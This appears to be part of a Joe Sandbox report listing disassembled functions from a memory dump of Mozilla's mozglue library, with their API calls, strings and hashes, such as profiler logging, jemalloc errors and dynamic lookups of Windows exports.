Opcode Fuzzy Hash: 4ac86f8991c014b3d6d195b476c90f0604f4127293854ebe72f9233ee88c6b9d
Instruction Fuzzy Hash: 0E117274200205AFDF20CF96EC88D5A3B7AFB96356F105015E91582641D731B865CFAA

Function 6C630EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65AB89: EnterCriticalSection.KERNEL32(6C6AE370,?,?,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284), ref: 6C65AB94
Part of subcall function 6C65AB89: LeaveCriticalSection.KERNEL32(6C6AE370,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C65ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C65D9F0,00000000), ref: 6C630F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C630F3C
__Init_thread_footer.LIBCMT ref: 6C630F50
FreeLibrary.KERNEL32(?,6C65D9F0,00000000), ref: 6C630F86

Strings

CoInitializeEx, xrefs: 6C630F36
combase.dll, xrefs: 6C630F18

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 2a1b1cbceccf91cb542e0231a0c270dc62c3e159c79510b775aecbd2ddf5d2bb
Instruction ID: 0a421cc0df6a8a4233ec9cf32953a3ad3a3d7ad68b1a24da6cfb4e972e4e7d9c
Opcode Fuzzy Hash: 2a1b1cbceccf91cb542e0231a0c270dc62c3e159c79510b775aecbd2ddf5d2bb
Instruction Fuzzy Hash: 081191746052519BDF00CFD6ED88A5D37B4B79B325F005259ED0982641E732B40ACB5F

Function 6C66F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C634A68), ref: 6C66945E
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C669470
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C669482
Part of subcall function 6C669420: __Init_thread_footer.LIBCMT ref: 6C66949F

GetCurrentThreadId.KERNEL32 ref: 6C66F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66F561

Part of subcall function 6C6694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6694EE
Part of subcall function 6C6694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C669508

GetCurrentThreadId.KERNEL32 ref: 6C66F577
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F585
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C66F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C66F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C66F3A8
[I %d/%d] profiler_resume, xrefs: 6C66F239

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: d3f96fb3e9ccad2bf635a3249fd9fc8681b447315a28e2322eb21d84112dbbcd
Instruction ID: cb8afdc56cc18add4c98dac4747445b1d55fe3ab9f58ca2457f57216c9ad91a7
Opcode Fuzzy Hash: d3f96fb3e9ccad2bf635a3249fd9fc8681b447315a28e2322eb21d84112dbbcd
Instruction Fuzzy Hash: 7EF05B756001049FDB006FE7A888A5D7BBDFFC629DF000415EA0583702DB756C05876F

Function 6C630E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C630DF8), ref: 6C630E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C630EA1
__Init_thread_footer.LIBCMT ref: 6C630EB5
FreeLibrary.KERNEL32 ref: 6C630EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C630E9B
kernel32.dll, xrefs: 6C630E7D

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: b9b196df25273054c7bce7efed6bb6ba23b258263a7e0ca44cd86fb3e9bf79ba
Instruction ID: 0c090772afe5ae58872137af903234c74797bbaac342fb133d2b1bf10adee788
Opcode Fuzzy Hash: b9b196df25273054c7bce7efed6bb6ba23b258263a7e0ca44cd86fb3e9bf79ba
Instruction Fuzzy Hash: AC014B70B043968BDF008FEAF894A5A33B5F746319F102525EA0582B80D770F80A8B5F

Function 6C66F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C634A68), ref: 6C66945E
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C669470
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C669482
Part of subcall function 6C669420: __Init_thread_footer.LIBCMT ref: 6C66949F

GetCurrentThreadId.KERNEL32 ref: 6C66F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C66F598), ref: 6C66F621

Part of subcall function 6C6694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6694EE
Part of subcall function 6C6694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C669508

GetCurrentThreadId.KERNEL32 ref: 6C66F637
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8,?,?,00000000,?,6C66F598), ref: 6C66F645
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8,?,?,00000000,?,6C66F598), ref: 6C66F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C66F62A

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: f33a24a8b350f10abc29bfccda2a0391f79e8e237f354eebc532c50e6774853e
Instruction ID: 51c1028f3939d17fd05917303d2c704889eb910ab80dd785cf27e3155874d12b
Opcode Fuzzy Hash: f33a24a8b350f10abc29bfccda2a0391f79e8e237f354eebc532c50e6774853e
Instruction Fuzzy Hash: 1BF0FB75200104AFDB006FE7A888A5D7BBDFFC629DF140415EA0593742DB766C06876F

Function 6C6605F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C65CFAE,?,?,?,6C6231A7), ref: 6C6605FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C65CFAE,?,?,?,6C6231A7), ref: 6C660616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6231A7), ref: 6C66061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6231A7), ref: 6C660627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C66061B, 6C660625
<jemalloc>, xrefs: 6C6605FA, 6C66060F

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: ba7fe8fd4ad224aee2a849d60de15810c6d1deb498e350df9e8ef5b03794a2f3
Instruction ID: 9199eb8b4618b0839b128e8f2a8c5f9b4dac42c3aa1853077ea441deedc3924e
Opcode Fuzzy Hash: ba7fe8fd4ad224aee2a849d60de15810c6d1deb498e350df9e8ef5b03794a2f3
Instruction Fuzzy Hash: 2FE0ECE2A0111437F6146256BC86DBB765CDBC7574F080139FE0E83301E95ABD1A55FA

Function 6C6305F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4172657121584da91d7151a5a8d6709662ccb09c51f6200ce8d220b7f98607d1
Instruction ID: 836a87260b209dbf47c355b99843a5b20ca9d862c2b3b62fbcb8ecfbc2b36303
Opcode Fuzzy Hash: 4172657121584da91d7151a5a8d6709662ccb09c51f6200ce8d220b7f98607d1
Instruction Fuzzy Hash: 26A16A70A00615CFDB24CF29C994A9AFBF1BF49304F4496AED44A97B00E731B959CF94

Function 6C6814A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6814C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6814E2
GetCurrentThreadId.KERNEL32 ref: 6C681546
InitializeConditionVariable.KERNEL32(?), ref: 6C6815BA
free.MOZGLUE(?), ref: 6C6816B4

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 848781f63fcce8385ae4d71f463b2a9c9a2e39b24e4db21e49dd55e87a47bc9d
Instruction ID: 6f3a7eea76443fc2af01b4cd0cf2a1f3ac97ff86cbe87e269de78195d76dac99
Opcode Fuzzy Hash: 848781f63fcce8385ae4d71f463b2a9c9a2e39b24e4db21e49dd55e87a47bc9d
Instruction Fuzzy Hash: CF61F471A017049FDB218F21C880BDEB7B0BF8A308F04851CED9A57701DB31E559CBAA

Function 6C679F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C679FDB
free.MOZGLUE(?,?), ref: 6C679FF0
free.MOZGLUE(?,?), ref: 6C67A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C67A0BE
free.MOZGLUE(?,?), ref: 6C67A0D5
free.MOZGLUE(?,?), ref: 6C67A0EB

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ca1466c67e84518206694f20b35a33f8db9ab99f644d902a47c01ed154d2ca9b
Instruction ID: 1357006dfdca486ff86a351f0271666a1f497a271011a7cb216a443f1a13877d
Opcode Fuzzy Hash: ca1466c67e84518206694f20b35a33f8db9ab99f644d902a47c01ed154d2ca9b
Instruction Fuzzy Hash: 1F61C0754087019FC721CF18C48059AB3F5FF89328F549A5DE8999BB02EB32E986CBD5

Function 6C67DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C67DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C67D38A,?), ref: 6C67DC6F
free.MOZGLUE(?,?,?,?,?,6C67D38A,?), ref: 6C67DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C67D38A,?), ref: 6C67DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C67D38A,?), ref: 6C67DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C67D38A,?), ref: 6C67DD4A

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 40ebb845411faafc9000423d4c6e2351f988c156aa014cd53470624717176a4a
Instruction ID: 8181dafc19b202b9216238943033221a3c89c2a74411fb4f6b406274c62ee25d
Opcode Fuzzy Hash: 40ebb845411faafc9000423d4c6e2351f988c156aa014cd53470624717176a4a
Instruction Fuzzy Hash: 19417E75A00215CFCB10CFA9C88099EBBF5FF89314B554969D945A7B10E771FC01CBA8

Function 6C65F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C65F480

Part of subcall function 6C62F100: LoadLibraryW.KERNEL32(shell32,?,6C69D020), ref: 6C62F122
Part of subcall function 6C62F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C62F132

CloseHandle.KERNEL32(00000000), ref: 6C65F555

Part of subcall function 6C6314B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C631248,6C631248,?), ref: 6C6314C9
Part of subcall function 6C6314B0: memcpy.VCRUNTIME140(?,6C631248,00000000,?,6C631248,?), ref: 6C6314EF

Part of subcall function 6C62EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C62EEE3

CreateFileW.KERNEL32 ref: 6C65F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C65F523

Strings

\oleacc.dll, xrefs: 6C65F4CB

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 0ba79c9ddc36674ff866ee1b895634745bde5d5109364563cf631642ab0e3285
Instruction ID: b202e6a4a9c8e31655e7c0e23fbf32bf853d1828ff75d1d79107e82f48e949f1
Opcode Fuzzy Hash: 0ba79c9ddc36674ff866ee1b895634745bde5d5109364563cf631642ab0e3285
Instruction Fuzzy Hash: 2741C3706087109FE720DF69D984B9AB3F4BF95318F604A1CF59083650EB30E959CB9B

Function 6C66E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C634A68), ref: 6C66945E
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C669470
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C669482
Part of subcall function 6C669420: __Init_thread_footer.LIBCMT ref: 6C66949F

GetCurrentThreadId.KERNEL32 ref: 6C66E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66E04F

Part of subcall function 6C6694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6694EE
Part of subcall function 6C6694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C669508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C66E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C66E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C66E057

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: e7694b9bf3b6fbbb0489a9bb670fe055eb9f8b9e5465c50bbdedb220990029bf
Instruction ID: 8c53cdb991bd1749d2c2c5fe505401fb57f856e879b06eaff83e930a549edba8
Opcode Fuzzy Hash: e7694b9bf3b6fbbb0489a9bb670fe055eb9f8b9e5465c50bbdedb220990029bf
Instruction Fuzzy Hash: 5F219574B001089FDF04DFA6D8586EEB7B5AF85308F144424ED4697B41DB32E919C7DA

Function 6C6874A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C687526
__Init_thread_footer.LIBCMT ref: 6C687566
__Init_thread_footer.LIBCMT ref: 6C687597

Strings

kernel32.dll, xrefs: 6C687557
UnmapViewOfFile2, xrefs: 6C687552

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: d9803eb028a14d10c56b11c9cbe8cc6f2a68f69a0bcfbbebc4a2ebd3b180274d
Instruction ID: f03135ccde4f25bd62369e9370b5f3689a32a0c7153dbaafaf43d9c9873ef3c1
Opcode Fuzzy Hash: d9803eb028a14d10c56b11c9cbe8cc6f2a68f69a0bcfbbebc4a2ebd3b180274d
Instruction Fuzzy Hash: 6521F531B0251197CB148FEAE894E993375EB87324F144569F40547B80DB31F8068BBF

Function 6C68A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6AF770,-00000001,?,6C69E330,?,6C64BDF7), ref: 6C68A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C64BDF7), ref: 6C68A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C64BDF7), ref: 6C68A7E4
LeaveCriticalSection.KERNEL32(6C6AF770), ref: 6C68A80A

Strings

accelerator.dll, xrefs: 6C68A7BF

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 3db55a82bb1ec6ae6042c02d7a09408f7b833e1c02d82f7b40d6736f4828374d
Instruction ID: 9656ad39083cf8ab2856907d4f61f12c0e111e4f5d57ab9da69c34b3a6a5017e
Opcode Fuzzy Hash: 3db55a82bb1ec6ae6042c02d7a09408f7b833e1c02d82f7b40d6736f4828374d
Instruction Fuzzy Hash: 01014FB56113049F9F04CF9AE8C4D6577B8FB8A355B05806AED098B752DB70EC01CBAA

Function 6C6875B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C68748B,?), ref: 6C6875B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6875D7
FreeLibrary.KERNEL32(?,6C68748B,?), ref: 6C6875EC

Strings

RtlNtStatusToDosError, xrefs: 6C6875D1
ntdll.dll, xrefs: 6C6875B3

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: c3d777fde93962ec8aa3381e68cf9ca92302d0a2b121ad64c5a6caf942028fe6
Instruction ID: b9d04f9b790aded4b15d910927c6433ea14efcd2fd87ee58cc06b4d9c483163c
Opcode Fuzzy Hash: c3d777fde93962ec8aa3381e68cf9ca92302d0a2b121ad64c5a6caf942028fe6
Instruction Fuzzy Hash: 69E09275701305ABEB006BE3F8D8709BAF8EB46358F105125EA05D1651EBB0E4429F1F

Function 6C687600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C687592), ref: 6C687608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C687627
FreeLibrary.KERNEL32(?,6C687592), ref: 6C68763C

Strings

ntdll.dll, xrefs: 6C687603
NtUnmapViewOfSection, xrefs: 6C687621

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
